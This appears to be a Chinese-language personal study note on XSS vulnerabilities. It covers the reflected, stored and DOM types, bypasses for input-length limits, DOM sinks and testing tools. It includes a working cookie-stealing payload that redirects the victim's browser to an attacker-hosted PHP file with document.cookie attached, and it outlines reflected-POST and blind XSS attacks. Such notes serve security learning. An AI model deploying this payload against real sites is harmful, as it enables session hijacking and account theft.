漏洞产生的必要前提:(1)有输入,输出数据(用户提交的数据会被服务端展示回客户端)
(2)服务器对输入输出没有做严格的过滤
核心攻击思路:修改自己的页面成恶意页面,把自己的页面网址发送给被害者 ;或者让被害者浏览器主动发送一个带有xss代码的请求到服务端,然后反射给被害者,达成攻击
危害:劫持cookie,框架钓鱼,挂马,监听键盘记录(有局限性)
分类:
反射型:即来即往,不会存储在服务端的数据库中,刷新页面就没了的一次性的所见即所得,如查询界面
存储型:永久保存在数据库,如评论,注册等页面。(但是要注意首先必须有回显才可能有xss,不过回显可能在其他页面显示)
DOM型:通过js代码操作dom文档对象模型时触发的漏洞,一般不与服务端交互
一些网页会对输入长度限制,测试xss前用f12把maxlength属性删掉即可,或者抓包(不过要注意浏览器会对特殊符号进行url编码,如>是%3E,抓包后手动补全时要手动给特殊符号编码)。或者有些时候可以不用管它,因为有些浏览器有容错机制会自动补全代码。
payload不一定非要用script标签来alert测,也可以用有别的效果的标签(如image标签和a标签)
DOM:全称Document Object Mode,文档对象模型。可以理解为一个系统平台和编程语言无关的接口,使程序和脚本可以通过这个接口动态的访问和修改文档内容样式结构。当创建好页面并在浏览器加载后,DOM会自然生成,它会把网页文档转换为一个文档对象,主要功能是处理网页内容。可以使用js来操作DOM以达到网页的目的。
可能存在DOMxss的js操作:document.referer,window.name,location,innerHTML,document.write
’ " >称为完全闭合符号,后面接script标签进行攻击。不用在意有没有前标签,直接加上可以省很多麻烦
工具:xsstrike
手工:bp,hackbar
开发者工具console(控制台)模块可测试js代码,如:location.href获取当前网址,location.href=可跳转到指定网址,document.cookie可获取当前cookie
GET请求获取cookie的简单实例:利用document.cookie方法把被害者的cookie通过传参拼接给访问恶意php文件的url中,恶意文件通过GET全局变量获取到被害者的cookie。(局限:需要在服务端事先添加上述恶意php文件)
使用到的payload:
' " > <script>document.location='url/eyi.php?cookie='+document.cookie;</script>
反射型XSS(POST)获取cookie实例:
思路:让被害者打开写好恶意代码的html页面,使他的浏览器主动发送一个带有xss代码的请求到服务端,然后反射给被害者,达成攻击
盲打:攻击结果不在当前页面生效,多是针对后台